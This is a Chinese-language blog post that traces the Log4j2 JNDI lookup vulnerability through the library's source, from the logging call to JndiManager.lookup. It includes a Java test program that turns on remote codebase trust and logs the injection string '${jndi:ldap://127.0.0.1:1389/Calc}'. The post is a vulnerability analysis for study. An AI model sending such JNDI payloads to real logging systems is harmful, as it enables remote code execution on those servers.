关于漏洞复现,请看复现那篇文章(补档)
漏洞代码就用上篇文章的代码
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class main {
private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
logger.error("${jndi:ldap://127.0.0.1:1389/Calc}");
}
}
漏洞入口代码打上断点进行分析,也就是looger.error
这一行,一些不重要的地方我就省略一下了,漏洞入口再error函数,我们跟进一下,这里可以看到error函数进入到logIFabled中,入口在logIFEnabled()
lookup机制
lookup机制,通俗点说控制会在什么地方级别的日志中出现。首先我们要了解一点日志等级,在log4j2中, 共有8个级别,按照从低到高为:ALL < TRACE < DEBUG < INFO < WARN < ERROR < FATAL < OFF
- All:最低等级的,用于打开所有日志记录.
- Trace:是追踪,就是程序推进一下.
- Debug:指出细粒度信息事件对调试应用程序是非常有帮助的.
- Info:消息在粗粒度级别上突出强调应用程序的运行过程.
- Warn:输出警告及warn以下级别的日志.
- Error:输出错误信息日志.
- Fatal:输出每个严重的错误事件将会导致应用程序的退出的日志
程序会打印高于或等于所设置级别的日志,设置的日志等级越高,打印出来的日志就越少 。
这也就是下方logIFEnabled方法,也就是说,在不管什么级别的日志下都可以出发lookup
logIfEnabled()入口
入口函数为logIfEnabled,如果使用了AbstractLogger.java中的debug、info、warn、error、fatal等都会触发到该函数,但是后续想要触发该漏洞只能error/fotal触发
这里看到了一个if判断,想要触发后续流程,需要调用logMessage方法,需要isEnable为true,isEnable会对level进行判断,只有小于等于200,才会返回true,他们的evel如下
static {
OFF = new Level("OFF", StandardLevel.OFF.intLevel());
//100
FATAL = new Level("FATAL", StandardLevel.FATAL.intLevel());
//200
ERROR = new Level("ERROR", StandardLevel.ERROR.intLevel());
//300
WARN = new Level("WARN", StandardLevel.WARN.intLevel());
//400
INFO = new Level("INFO", StandardLevel.INFO.intLevel());
//500
DEBUG = new Level("DEBUG", StandardLevel.DEBUG.intLevel());
//600
TRACE = new Level("TRACE", StandardLevel.TRACE.intLevel());
//2147483647
ALL = new Level("ALL", StandardLevel.ALL.intLevel());
}
接着继续跟进,不重要的略过
LoggerConfig.processLogEvent()
在log4j2中通过LoggerConfig.processLogEvent()处理日志事件,event中就是我们的日志事件,主要部分在调用callAppenders()即调用Appender
经过一个判断后,跟进到callAppender(),Appender功能主要是负责将日志事件传递到其目标,常用的Appender有ConsoleAppender(输出到控制台)、FileAppender(输出到本地文件)等,通过AppenderControl获取具体的Appender,本次调试的是ConsoleAppender。
AbstractOutputStreamAppender.tryAppend()
接着跟进后续代码,经过了一连串判断,调用了tryAppend()尝试输出日志,同时可以为了进行日志格式化,于是调用了directEncodeEvent进行判断
AbstractOutputStreamAppender.directEncodeEvent
进入directEncodeEvent(),通过getLayout()获取Layout日志格式,通过Layout.encode()进行日志的格式化
经过两层encode调用后再调用toText,在toSerializable处完成日志格式化,通过format来完成了格式化的事
下面继续跟进,一直跟进到关键format()函数
MessagePatternConverter.format()
处理传入的message通过MessagePatternConverter.format(),也是本次漏洞的关键之处
重点为红框部分,if (this.config != null && !this.noLookups)
,当config存在并且noLookups为false,进入到下面的代码,遍历 workingBuilder 来进行判断
如果 workingBuilder 中存在 ${
,那么就会取出从 $ 开始知道最后的字符串,这一部分workingBuilder 的内容如下,其实结构也比较清晰方法名,日志级别,当前类名,然后就是我们的 payload
所以下图的 value 就是我们输入的 payload ${jndi:ldap://127.0.0.1:1389/Calc}
出现了一个问题
这里我打断点跟进的时候,到这里计算器就弹出来了,也就是说程序运行到这里就停了接着返回,不是很清楚到底是什么原因导致后面调用栈跟进不下去了,事实上后面的栈才是重点,有可能是我之前运行写的日志以及恶意类以及加载好了在日志中,再次运行直接拿出来用了,这里我不是很清楚,有带佬可以解释解释么
后面就手动跟进了
StrSubstitutor.replace()
继续跟进,上图发现进入到了replace(),我们输入的payload可以看见这里被存进了buf中往下传递,进入该方法可以发现经过判断后return了substitute()处理后结果,跟进substitute()
StrSubstitutor.substitute()
进入substitute(),这里先可以看到先获取到了前面获取的payload的开头符号以及结束符号,及${}
,并定义prefixMatcher和suffixMatcher来进行下面的使用,继续跟进该方法
这里的一些参数,定义了一系列变量用来下面while循环使用
prefixMatcher代表${ 前缀
suffixMatcher代表 } 后缀
escape代表 $
valueDelimiterMatcher代表 :和-
chars是我们写入日志的字符串
bufEnd相当于字符串长度
pos相当于头指针
跟进下面的while循环
- 寻找
${
前缀 - 接着进入下一个while循环,寻找后缀,同时可以看到这里又调用了一次substitute(),这里是为了接着判断是否碰到 ${前缀,如果碰到了pos指针直接加上它的长度让指针后移继续寻找后缀,也就是为了解决多重
${}
符号的问题
那么我们查询一次后第二次进入substitute()时,已经没有${}符号,跳过递归循环直接进入下面的代码,继续跟进,直接进到resolveVariable,varName 就是为 ${}
中的值
接着跟进到resolveVariable()方法,创建StrLookup对象,将variableResolver赋给他,并且返回使用lookup()处理的变量
Interpolator.lookup
跟进lookup()方法,看到这里传入了variableName==var
,对传入的variableName进行处理,首先会截取前四位存到prefix,此时我们取出来的为 jndi 然后根据取出来的名字中寻找对应的 lookup
Log4j2 使用 org.apache.logging.log4j.core.lookup.Interpolator 类来代理所有的 StrLookup 实现类。也就是说在实际使用 Lookup 功能时,由 Interpolator 这个类来处理和分发
这个类在初始化时创建了一个 strLookupMap ,将一些 lookup 功能关键字和处理类进行了映射,存放在这个 Map 中。关键分发逻辑如下图
JndiLookup.lookup
这里获取到了jndi字符,最终进入到了#JndiLookup.lookup
中,如下图
进到convertJndiName中看看jndiName是怎么写的,那么也就是将jndi:
后的代码提取出来,即为ldap://127.0.0.1:1389/Calc
,导致后续漏洞
JndiManager.lookup
同时由于在我们输入payload中这部分为我们可控,故产生该漏洞,继续跟进jndiManager.lookup(jndiName)
,进入这个方法,这里调用了javax.naming.InitialContext,我们就没必要跟进了,在后面就是jndi注入的代码了
参考链接
https://blog.csdn.net/cjdgg/article/details/124054454
https://mp.weixin.qq.com/s/K74c1pTG6m5rKFuKaIYmPg